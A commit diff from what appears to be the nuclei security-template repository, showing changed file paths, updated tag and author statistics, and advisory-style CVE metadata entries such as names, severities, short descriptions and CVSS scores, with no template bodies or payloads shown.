Review and update CVE-2025-7340 template

- Add impact and remediation sections - Add proper reference links - Add CVSS classification data - Add vendor/product metadata - Add Shodan query for detection - Update tags to include vendor name - Mark as verified and set max-request
Create CVE-2025-7340.yaml
2026-11-07 08:36:19 -10:00 · 2025-07-17 14:56:49 +04:00 · 2025-07-17 09:47:28 +05:30 · 2025-07-17 00:28:44 +00:00 · 2025-07-16 12:37:53 +00:00 · 2025-07-16 12:37:49 +00:00
266 changed files with 7907 additions and 7571 deletions
@@ -1,81 +1,10 @@
-code/cves/2022/CVE-2022-42475.yaml
-code/cves/2025/CVE-2025-6216.yaml
-code/windows/audit/kisa/account-lockout-threshold.yaml
-code/windows/audit/kisa/admin-account-rename.yaml
-code/windows/audit/kisa/admin-group-minimal.yaml
-code/windows/audit/kisa/autologon-control.yaml
-code/windows/audit/kisa/crash-on-audit-fail.yaml
-code/windows/audit/kisa/dns-zone-transfer-check.yaml
-code/windows/audit/kisa/ftp-access-control-check.yaml
-code/windows/audit/kisa/ftp-anonymous-check.yaml
-code/windows/audit/kisa/ftp-directory-permission-check.yaml
-code/windows/audit/kisa/hard-disk-default-share.yaml
-code/windows/audit/kisa/password-cleartext-encryption.yaml
-code/windows/audit/kisa/password-never-expires.yaml
-code/windows/audit/kisa/rds-removal-check.yaml
-code/windows/audit/kisa/remote-registry-access-check.yaml
-code/windows/audit/kisa/remote-system-shutdown.yaml
-code/windows/audit/kisa/sam-file-access-control.yaml
-code/windows/audit/kisa/service-pack-check.yaml
-code/windows/audit/kisa/shutdown-without-logon.yaml
-code/windows/audit/kisa/unnecessary-accounts-check.yaml
-code/windows/audit/kisa/unnecessary-service-check.yaml
-http/cves/2020/CVE-2020-9547.yaml
-http/cves/2020/CVE-2020-9548.yaml
-http/cves/2022/CVE-2022-23397.yaml
-http/cves/2023/CVE-2023-49230.yaml
-http/cves/2024/CVE-2024-50334.yaml
-http/cves/2025/CVE-2025-2010.yaml
-http/cves/2025/CVE-2025-27505.yaml
-http/cves/2025/CVE-2025-32813.yaml
-http/cves/2025/CVE-2025-32814.yaml
-http/cves/2025/CVE-2025-32815.yaml
-http/cves/2025/CVE-2025-34040.yaml
-http/cves/2025/CVE-2025-41646.yaml
-http/cves/2025/CVE-2025-4380.yaml
-http/cves/2025/CVE-2025-47812.yaml
-http/cves/2025/CVE-2025-47813.yaml
-http/cves/2025/CVE-2025-48827.yaml
-http/cves/2025/CVE-2025-49493.yaml
-http/cves/2025/CVE-2025-52488.yaml
-http/cves/2025/CVE-2025-53624.yaml
-http/cves/2025/CVE-2025-5777.yaml
-http/default-logins/molgenis/molgenis-default-login.yaml
-http/exposed-panels/cisco-cm-panel.yaml
-http/exposed-panels/cisco-prime-license-manager-panel.yaml
-http/exposed-panels/google-adk-api-exposed.yaml
-http/exposed-panels/google-adk-webui-exposed.yaml
-http/exposed-panels/molgenis-panel.yaml
-http/exposed-panels/peplink-panel.yaml
-http/exposed-panels/wingftp-panel.yaml
-http/miscellaneous/torrent-website-detect.yaml
-http/misconfiguration/dd-wrt-controlpanel-exposure.yaml
-http/misconfiguration/installer/pritunl-installer.yaml
-http/misconfiguration/twonky-server-exposure.yaml
-http/osint/user-enumeration/sessionize.yaml
-http/technologies/graphql/graphql-apiforwp-detect.yaml
-http/technologies/graphql/graphql-apollo-detect.yaml
-http/technologies/graphql/graphql-ariadne-detect.yaml
-http/technologies/graphql/graphql-dianajl-detect.yaml
-http/technologies/graphql/graphql-flutter-detect.yaml
-http/technologies/graphql/graphql-go-detect.yaml
-http/technologies/graphql/graphql-gqlgen-detect.yaml
-http/technologies/graphql/graphql-graphene-detect.yaml
-http/technologies/graphql/graphql-hasura-detect.yaml
-http/technologies/graphql/graphql-hypergraphql-detect.yaml
-http/technologies/graphql/graphql-java-detect.yaml
-http/technologies/graphql/graphql-juniper-detect.yaml
-http/technologies/graphql/graphql-php-detect.yaml
-http/technologies/graphql/graphql-ruby-detect.yaml
-http/technologies/graphql/graphql-sangria-detect.yaml
-http/technologies/graphql/graphql-strawberry-detect.yaml
-http/technologies/graphql/graphql-tartiflette-detect.yaml
-http/technologies/graphql/graphql-wpgraphql-detect.yaml
+http/cves/2020/CVE-2020-29390.yaml
+http/cves/2025/CVE-2025-53833.yaml
+http/cves/2025/CVE-2025-6851.yaml
 http/technologies/wordpress/plugins/blocksy-companion.yaml
 http/technologies/wordpress/plugins/gosmtp.yaml
 http/technologies/wordpress/plugins/honeypot.yaml
 http/technologies/wordpress/plugins/pagelayer.yaml
 http/technologies/wordpress/plugins/siteseo.yaml
 http/technologies/wordpress/plugins/unlimited-elements-for-elementor.yaml
-http/vulnerabilities/infoblox/infoblox-netmri-rails-cookie-rce.yaml
-network/detection/jdwp-detect.yaml
+http/vulnerabilities/wordpress/wp-ninja-tables-lfi.yaml
@@ -42,18 +42,18 @@ An overview of the nuclei template project, including statistics on unique tags,

 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
-| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
-| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
-| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
-| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
-| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
-| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
-| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
-| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |
+| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
+| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
+| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
+| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
+| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
+| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
+| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
+| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |

-**840 directories, 11171 files**.
+**845 directories, 11246 files**.

 </td>
 </tr>
@@ -1 +1 @@
-{"tags":[{"name":"cve","count":3225},{"name":"panel","count":1327},{"name":"xss","count":1246},{"name":"wordpress","count":1168},{"name":"exposure","count":1094},{"name":"wp-plugin","count":1023},{"name":"osint","count":810},{"name":"tech","count":782},{"name":"lfi","count":772},{"name":"rce","count":770},{"name":"misconfig","count":747},{"name":"devops","count":738},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":573},{"name":"packetstorm","count":552},{"name":"wpscan","count":534},{"name":"cve2021","count":513},{"name":"cve2022","count":512},{"name":"cve2023","count":488},{"name":"detect","count":486},{"name":"sqli","count":484},{"name":"cve2024","count":462},{"name":"login","count":446},{"name":"unauth","count":431},{"name":"authenticated","count":422},{"name":"kev","count":405},{"name":"intrusive","count":398},{"name":"file","count":377},{"name":"oast","count":276},{"name":"default-login","count":275},{"name":"cve2020","count":274},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":216},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":210},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"time-based-sqli","count":191},{"name":"azure-cloud-config","count":191},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"auth-bypass","count":183},{"name":"cve2019","count":182},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"code","count":157},{"name":"keys","count":156},{"name":"redirect","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":139},{"name":"security","count":133},{"name":"router","count":130},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"cve2025","count":94},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":83},{"name":"takeover","count":81},{"name":"privesc","count":81},{"name":"local","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":78},{"name":"js","count":75},{"name":"windows","count":74},{"name":"cisco","count":73},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"windows-audit","count":70},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"file-upload","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"google","count":57},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":53},{"name":"dast","count":51},{"name":"cve2014","count":50},{"name":"php","count":50},{"name":"logs","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"ssh","count":47},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"vulhub","count":46},{"name":"misc","count":46},{"name":"ssti","count":46},{"name":"cnvd","count":46},{"name":"aem","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"jndi","count":44},{"name":"plugin","count":44},{"name":"ssl","count":43},{"name":"springboot","count":43},{"name":"oa","count":43},{"name":"osint-porn","count":42},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"miscellaneous","count":39},{"name":"dlink","count":39},{"name":"info-leak","count":39},{"name":"postgresql","count":39},{"name":"sap","count":38},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"cti","count":37},{"name":"api","count":37},{"name":"wp-theme","count":36},{"name":"google-cloud-sql","count":36},{"name":"osint-misc","count":35},{"name":"networking","count":34},{"name":"devsecops","count":34},{"name":"gitlab","count":34},{"name":"lfr","count":34},{"name":"xxe","count":33},{"name":"fuzz","count":33},{"name":"dns","count":32},{"name":"nginx","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"osint-tech","count":31},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"ec2","count":30},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"prestashop","count":29},{"name":"tomcat","count":28},{"name":"proxy","count":28},{"namLine truncated
+{"tags":[{"name":"cve","count":3248},{"name":"panel","count":1332},{"name":"xss","count":1247},{"name":"wordpress","count":1172},{"name":"exposure","count":1102},{"name":"wp-plugin","count":1025},{"name":"osint","count":812},{"name":"tech","count":800},{"name":"rce","count":777},{"name":"lfi","count":774},{"name":"misconfig","count":751},{"name":"devops","count":740},{"name":"cloud","count":697},{"name":"edb","count":599},{"name":"wp","count":575},{"name":"packetstorm","count":552},{"name":"wpscan","count":533},{"name":"cve2022","count":513},{"name":"cve2021","count":513},{"name":"cve2023","count":489},{"name":"detect","count":488},{"name":"sqli","count":486},{"name":"cve2024","count":464},{"name":"login","count":450},{"name":"unauth","count":434},{"name":"kev","count":424},{"name":"authenticated","count":423},{"name":"intrusive","count":401},{"name":"file","count":377},{"name":"oast","count":279},{"name":"default-login","count":276},{"name":"cve2020","count":276},{"name":"config","count":255},{"name":"token-spray","count":247},{"name":"apache","count":241},{"name":"microsoft","count":238},{"name":"top-200","count":235},{"name":"gcp","count":232},{"name":"gcp-cloud-config","count":226},{"name":"gcloud","count":224},{"name":"network","count":217},{"name":"malware","count":213},{"name":"token","count":211},{"name":"osint-social","count":211},{"name":"azure","count":210},{"name":"csp-bypass","count":204},{"name":"","count":204},{"name":"aws","count":192},{"name":"azure-cloud-config","count":191},{"name":"time-based-sqli","count":191},{"name":"auth-bypass","count":187},{"name":"iot","count":184},{"name":"cve2018","count":184},{"name":"cve2019","count":182},{"name":"code","count":177},{"name":"amazon","count":175},{"name":"install","count":166},{"name":"redirect","count":156},{"name":"keys","count":156},{"name":"joomla","count":151},{"name":"aws-cloud-config","count":147},{"name":"ssrf","count":144},{"name":"tcp","count":140},{"name":"security","count":137},{"name":"router","count":131},{"name":"files","count":125},{"name":"cms","count":123},{"name":"cve2017","count":119},{"name":"phishing","count":117},{"name":"cve2010","count":112},{"name":"cve2025","count":111},{"name":"kubernetes","count":111},{"name":"disclosure","count":107},{"name":"top-100","count":100},{"name":"tokens","count":97},{"name":"windows-audit","count":90},{"name":"linux","count":88},{"name":"seclists","count":86},{"name":"oss","count":84},{"name":"takeover","count":81},{"name":"local","count":81},{"name":"privesc","count":81},{"name":"oracle","count":80},{"name":"fileupload","count":77},{"name":"windows","count":76},{"name":"cisco","count":75},{"name":"js","count":75},{"name":"enum","count":72},{"name":"k8s","count":71},{"name":"adobe","count":65},{"name":"huntr","count":64},{"name":"file-upload","count":63},{"name":"ir","count":63},{"name":"alibaba","count":61},{"name":"cve2015","count":61},{"name":"cve2016","count":60},{"name":"google","count":59},{"name":"detection","count":59},{"name":"atlassian","count":59},{"name":"c2","count":57},{"name":"vmware","count":57},{"name":"audit","count":55},{"name":"deserialization","count":55},{"name":"dast","count":51},{"name":"php","count":51},{"name":"logs","count":50},{"name":"cve2014","count":50},{"name":"traversal","count":48},{"name":"hackerone","count":48},{"name":"log4j","count":48},{"name":"tenable","count":48},{"name":"generic","count":47},{"name":"debug","count":47},{"name":"ssh","count":47},{"name":"cnvd","count":46},{"name":"vulhub","count":46},{"name":"ssti","count":46},{"name":"aem","count":46},{"name":"misc","count":46},{"name":"osint-gaming","count":45},{"name":"aliyun","count":45},{"name":"injection","count":45},{"name":"plugin","count":44},{"name":"jndi","count":44},{"name":"springboot","count":43},{"name":"ssl","count":43},{"name":"oa","count":43},{"name":"osint-hobby","count":42},{"name":"fortinet","count":42},{"name":"osint-porn","count":42},{"name":"ibm","count":42},{"name":"firewall","count":41},{"name":"tls","count":41},{"name":"listing","count":40},{"name":"info-leak","count":40},{"name":"dlink","count":39},{"name":"postgresql","count":39},{"name":"miscellaneous","count":39},{"name":"api","count":38},{"name":"sap","count":38},{"name":"cti","count":37},{"name":"k8s-cluster-security","count":37},{"name":"jira","count":37},{"name":"google-cloud-sql","count":36},{"name":"wp-theme","count":36},{"name":"osint-misc","count":35},{"name":"lfr","count":34},{"name":"gitlab","count":34},{"name":"networking","count":34},{"name":"xxe","count":34},{"name":"devsecops","count":34},{"name":"dns","count":33},{"name":"fuzz","count":33},{"name":"osint-tech","count":31},{"name":"nginx","count":31},{"name":"graphql","count":31},{"name":"vpc","count":31},{"name":"printer","count":31},{"name":"ec2","count":30},{"name":"osint-coding","count":30},{"name":"alibaba-cloud-config","count":30},{"name":"prestashop","count":29},{"name":"admin","count":29},{"name":"gke","count":29},{"name":"ftp","count":29},{"namLine truncated
@@ -1,12 +1,12 @@
 |    TAG    | COUNT |    AUTHOR     | COUNT | DIRECTORY  | COUNT | SEVERITY | COUNT | TYPE | COUNT |
 |-----------|-------|---------------|-------|------------|-------|----------|-------|------|-------|
-| cve       |  3225 | dhiyaneshdk   |  1866 | http       |  8825 | info     |  4118 | file |   435 |
-| panel     |  1327 | daffainfo     |   868 | cloud      |   657 | high     |  2423 | dns  |    26 |
-| xss       |  1246 | dwisiswant0   |   806 | file       |   435 | medium   |  2339 |      |       |
-| wordpress |  1168 | princechaddha |   806 | dast       |   255 | critical |  1391 |      |       |
-| exposure  |  1094 | ritikchaddha  |   633 | workflows  |   202 | low      |   318 |      |       |
-| wp-plugin |  1023 | pussycat0x    |   519 | code       |   174 | unknown  |    54 |      |       |
-| osint     |   810 | pikpikcu      |   352 | network    |   141 |          |       |      |       |
-| tech      |   782 | pdteam        |   308 | javascript |    71 |          |       |      |       |
-| lfi       |   772 | pdresearch    |   251 | ssl        |    38 |          |       |      |       |
-| rce       |   770 | ricardomaia   |   249 | dns        |    23 |          |       |      |       |
+| cve       |  3248 | dhiyaneshdk   |  1872 | http       |  8877 | info     |  4144 | file |   435 |
+| panel     |  1332 | daffainfo     |   868 | cloud      |   657 | high     |  2430 | dns  |    26 |
+| xss       |  1247 | princechaddha |   826 | file       |   435 | medium   |  2364 |      |       |
+| wordpress |  1172 | dwisiswant0   |   806 | dast       |   255 | critical |  1405 |      |       |
+| exposure  |  1102 | ritikchaddha  |   634 | workflows  |   202 | low      |   319 |      |       |
+| wp-plugin |  1025 | pussycat0x    |   520 | code       |   196 | unknown  |    56 |      |       |
+| osint     |   812 | pikpikcu      |   352 | network    |   142 |          |       |      |       |
+| tech      |   800 | pdteam        |   310 | javascript |    71 |          |       |      |       |
+| rce       |   777 | pdresearch    |   261 | ssl        |    38 |          |       |      |       |
+| lfi       |   774 | iamnoooob     |   250 | dns        |    23 |          |       |      |       |
@@ -1036,6 +1036,7 @@
 {"ID":"CVE-2020-29047","Info":{"Name":"WP Hotel Booking \u003c 1.10.4 - PHP Object Injection","Severity":"critical","Description":"The wp-hotel-booking plugin through 1.10.2 for WordPress allows remote attackers to execute arbitrary code because of an unserialize operation on the thimpress_hotel_booking_1 cookie in load in includes/class-wphb-sessions.php.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29047.yaml"}
 {"ID":"CVE-2020-29164","Info":{"Name":"PacsOne Server \u003c7.1.1 - Cross-Site Scripting","Severity":"medium","Description":"PacsOne Server (PACS Server In One Box) below 7.1.1 is vulnerable to cross-site scripting.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29164.yaml"}
 {"ID":"CVE-2020-29227","Info":{"Name":"Car Rental Management System 1.0 - Local File Inclusion","Severity":"critical","Description":"Car Rental Management System 1.0 allows an unauthenticated user to perform a file inclusion attack against the /index.php file with a partial filename in the \"page\" parameter, leading to code execution.","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29227.yaml"}
+{"ID":"CVE-2020-29390","Info":{"Name":"Zeroshell 3.9.3 - Command Injection","Severity":"critical","Description":"Zeroshell 3.9.3 contains a command injection vulnerability in the /cgi-bin/kerbynet StartSessionSubmit parameter that could allow an unauthenticated attacker to execute a system command by using shell metacharacters and the %0a character.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29390.yaml"}
 {"ID":"CVE-2020-29395","Info":{"Name":"Wordpress EventON Calendar 3.0.5 - Cross-Site Scripting","Severity":"medium","Description":"Wordpress EventON Calendar 3.0.5 is vulnerable to cross-site scripting because it allows addons/?q= XSS via the search field.","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2020/CVE-2020-29395.yaml"}
 {"ID":"CVE-2020-29453","Info":{"Name":"Jira Server Pre-Auth - Arbitrary File Retrieval (WEB-INF, META-INF)","Severity":"medium","Description":"The CachingResourceDownloadRewriteRule class in Jira Server and Jira Data Center allowed unauthenticated remote attackers to read arbitrary files within WEB-INF and META-INF directories via an incorrect path access check.","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2020/CVE-2020-29453.yaml"}
 {"ID":"CVE-2020-29583","Info":{"Name":"ZyXel USG - Hardcoded Credentials","Severity":"critical","Description":"A hardcoded credential vulnerability was identified in the 'zyfwp' user account in some Zyxel firewalls and AP controllers. The account was designed to deliver automatic firmware updates to connected access points through FTP.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2020/CVE-2020-29583.yaml"}
@@ -2267,7 +2268,6 @@
 {"ID":"CVE-2023-29623","Info":{"Name":"Purchase Order Management v1.0 - Cross Site Scripting (Reflected)","Severity":"medium","Description":"Purchase Order Management v1.0 was discovered to contain a reflected cross-site scripting (XSS) vulnerability via the password parameter at /purchase_order/classes/login.php.\n","Classification":{"CVSSScore":"6.1"}},"file_path":"http/cves/2023/CVE-2023-29623.yaml"}
 {"ID":"CVE-2023-2982","Info":{"Name":"Miniorange Social Login and Register \u003c= 7.6.3 - Authentication Bypass","Severity":"critical","Description":"The WordPress Social Login and Register (Discord, Google, Twitter, LinkedIn) plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 7.6.4. This is due to insufficient encryption on the user being supplied during a login validated through the plugin. This makes it possible for unauthenticated attackers to log in as any existing user on the site, such as an administrator, if they know the email address associated with that user. This was partially patched in version 7.6.4 and fully patched in version 7.6.5.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2982.yaml"}
 {"ID":"CVE-2023-29827","Info":{"Name":"Embedded JavaScript(EJS) 3.1.6 - Template Injection","Severity":"critical","Description":"ejs v3.1.9 is vulnerable to server-side template injection. If the ejs file is controllable, template injection can be implemented through the configuration settings of the closeDelimiter parameter.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-29827.yaml"}
-{"ID":"CVE-2023-2986","Info":{"Name":"Abandoned Cart Lite for WooCommerce - Authentication Bypass","Severity":"critical","Description":"The Abandoned Cart Lite for WooCommerce plugin for WordPress is vulnerable to authentication bypass in versions up to, and including, 5.14.2. This is due to insufficient encryption on the user being supplied during the abandoned cart link decode through the plugin. This allows unauthenticated attackers to log in as users who have abandoned the cart, who are typically customers. Further security hardening was introduced in version 5.15.1 that ensures sites are no longer vulnerable through historical check-out links, and additional hardening was introduced in version 5.15.2 that ensured null key values wouldn't permit the authentication bypass.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2023/CVE-2023-2986.yaml"}
 {"ID":"CVE-2023-29887","Info":{"Name":"Nuovo Spreadsheet Reader 0.5.11 - Local File Inclusion","Severity":"high","Description":"A Local File inclusion vulnerability in test.php in spreadsheet-reader 0.5.11 allows remote attackers to include arbitrary files via the File parameter.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2023/CVE-2023-29887.yaml"}
 {"ID":"CVE-2023-29919","Info":{"Name":"SolarView Compact \u003c= 6.00 - Local File Inclusion","Severity":"critical","Description":"There is an arbitrary read file vulnerability in SolarView Compact 6.00 and below, attackers can bypass authentication to read files through texteditor.php\n","Classification":{"CVSSScore":"9.1"}},"file_path":"http/cves/2023/CVE-2023-29919.yaml"}
 {"ID":"CVE-2023-29922","Info":{"Name":"PowerJob V4.3.1 - Authentication Bypass","Severity":"medium","Description":"PowerJob V4.3.1 is vulnerable to Incorrect Access Control via the create user/save interface.\n","Classification":{"CVSSScore":"5.3"}},"file_path":"http/cves/2023/CVE-2023-29922.yaml"}
@@ -3016,7 +3016,6 @@
 {"ID":"CVE-2024-9463","Info":{"Name":"PaloAlto Networks Expedition - Remote Code Execution","Severity":"critical","Description":"An OS command injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to run arbitrary OS commands as root in Expedition, resulting in disclosure of usernames, cleartext passwords, device configurations, and device API keys of PAN-OS firewalls.\n","Classification":{"CVSSScore":"9.9"}},"file_path":"http/cves/2024/CVE-2024-9463.yaml"}
 {"ID":"CVE-2024-9465","Info":{"Name":"Palo Alto Expedition - SQL Injection","Severity":"high","Description":"An SQL injection vulnerability in Palo Alto Networks Expedition allows an unauthenticated attacker to reveal Expedition database contents, such as password hashes, usernames, device configurations, and device API keys. With this, attackers can also create and read arbitrary files on the Expedition system.\n","Classification":{"CVSSScore":"8.2"}},"file_path":"http/cves/2024/CVE-2024-9465.yaml"}
 {"ID":"CVE-2024-9474","Info":{"Name":"PAN-OS Management Web Interface - Command Injection","Severity":"high","Description":"A privilege escalation vulnerability in Palo Alto Networks PAN-OS software allows a PAN-OS administrator with access to the management web interface to perform actions on the firewall with root privileges.\nCloud NGFW and Prisma Access are not impacted by this vulnerability.\n","Classification":{"CVSSScore":"7.2"}},"file_path":"http/cves/2024/CVE-2024-9474.yaml"}
-{"ID":"CVE-2024-9487","Info":{"Name":"GitHub Enterprise - SAML Authentication Bypass","Severity":"critical","Description":"An improper verification of cryptographic signature vulnerability was identified in GitHub Enterprise Server that allowed SAML SSO authentication to be bypassed resulting in unauthorized provisioning of users and access to the instance. Exploitation required the encrypted assertions feature to be enabled, and the attacker would require direct network access as well as a signed SAML response or metadata document. This vulnerability affected all versions of GitHub Enterprise Server prior to 3.15 and was fixed in versions 3.11.16, 3.12.10, 3.13.5, and 3.14.2. This vulnerability was reported via the GitHub Bug Bounty program.\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2024/CVE-2024-9487.yaml"}
 {"ID":"CVE-2024-9593","Info":{"Name":"Time Clock \u003c= 1.2.2 \u0026 Time Clock Pro \u003c= 1.1.4 - Remote Code Execution","Severity":"high","Description":"The Time Clock plugin and Time Clock Pro plugin for WordPress are vulnerable to Remote Code Execution in versions up to, and including, 1.2.2 (for Time Clock) and 1.1.4 (for Time Clock Pro) via the 'etimeclockwp_load_function_callback' function. This allows unauthenticated attackers to execute code on the server. The invoked function's parameters cannot be specified.\n","Classification":{"CVSSScore":"8.3"}},"file_path":"http/cves/2024/CVE-2024-9593.yaml"}
 {"ID":"CVE-2024-9617","Info":{"Name":"Danswer - Insecure Direct Object Reference","Severity":"medium","Description":"The application does not verify whether the attacker is the creator of the file, allowing the attacker to directly call the GET /api/chat/file/{file_id} interface to view any user's file.\n","Classification":{"CVSSScore":"6.5"}},"file_path":"http/cves/2024/CVE-2024-9617.yaml"}
 {"ID":"CVE-2024-9707","Info":{"Name":"Hunk Companion \u003c= 1.8.4 - Arbitrary Plugin Installation","Severity":"critical","Description":"The Hunk Companion plugin for WordPress is vulnerable to unauthorized plugin installation/activation due to a missing capability check on the /wp-json/hc/v1/themehunk-import REST API endpoint in all versions up to, and including, 1.8.4. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2024/CVE-2024-9707.yaml"}
@@ -3129,8 +3128,10 @@
 {"ID":"CVE-2025-52488","Info":{"Name":"DNN (DotNetNuke) - Unicode Path Normalization NTLM Hash Disclosure","Severity":"high","Description":"DNN (formerly DotNetNuke) is an open-source web content management platform (CMS) in the Microsoft ecosystem. In versions 6.0.0 to before 10.0.1, DNN.PLATFORM allows a specially crafted series of malicious interaction to potentially expose NTLM hashes to a third party SMB server. This issue has been patched in version 10.0.1.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-52488.yaml"}
 {"ID":"CVE-2025-5287","Info":{"Name":"Likes and Dislikes Plugin \u003c= 1.0.0 - Unauthenticated SQL Injection","Severity":"high","Description":"The Likes and Dislikes Plugin plugin for WordPress is vulnerable to SQL Injection via the 'post' parameter in all versions up to, and including, 1.0.0 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query.  This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.\n","Classification":{"CVSSScore":"7.5"}},"file_path":"http/cves/2025/CVE-2025-5287.yaml"}
 {"ID":"CVE-2025-53624","Info":{"Name":"Docusaurus Gists Plugin \u003c 4.0.0 - GitHub Personal Access Token Exposure","Severity":"high","Description":"The Docusaurus gists plugin adds a page to your Docusaurus instance, displaying all public gists of a GitHub user. docusaurus-plugin-content-gists versions prior to 4.0.0 are vulnerable to exposing GitHub Personal Access Tokens in production build artifacts when passed through plugin configuration options. The token, intended for build-time API access only, is inadvertently included in client-side JavaScript bundles, making it accessible to anyone who can view the website's source code.\n","Classification":{"CVSSScore":"8.6"}},"file_path":"http/cves/2025/CVE-2025-53624.yaml"}
+{"ID":"CVE-2025-53833","Info":{"Name":"LaRecipe \u003c 2.8.1 Remote Code Execution via SSTI","Severity":"critical","Description":"LaRecipe is an application that allows users to create documentation with Markdown inside a Laravel app. Versions prior to 2.8.1 are vulnerable to Server-Side Template Injection (SSTI), which could potentially lead to Remote Code Execution (RCE) in vulnerable configurations.\n","Classification":{"CVSSScore":"10.0"}},"file_path":"http/cves/2025/CVE-2025-53833.yaml"}
 {"ID":"CVE-2025-5569","Info":{"Name":"IdeaCMS \u003c= 1.7 - SQL Injection","Severity":"critical","Description":"IdeaCMS up to 1.7 is vulnerable to SQL injection via the field parameter in article and product query interfaces. This template uses a time-based payload to safely detect the vulnerability.\n","Classification":{"CVSSScore":"9.8"}},"file_path":"http/cves/2025/CVE-2025-5569.yaml"}
 {"ID":"CVE-2025-5777","Info":{"Name":"Citrix NetScaler Memory Disclosure - CitrixBleed 2","Severity":"critical","Description":"Insufficient input validation leading to memory overread on the NetScaler Management Interface NetScaler ADC and NetScaler Gateway\n","Classification":{"CVSSScore":"N/A"}},"file_path":"http/cves/2025/CVE-2025-5777.yaml"}
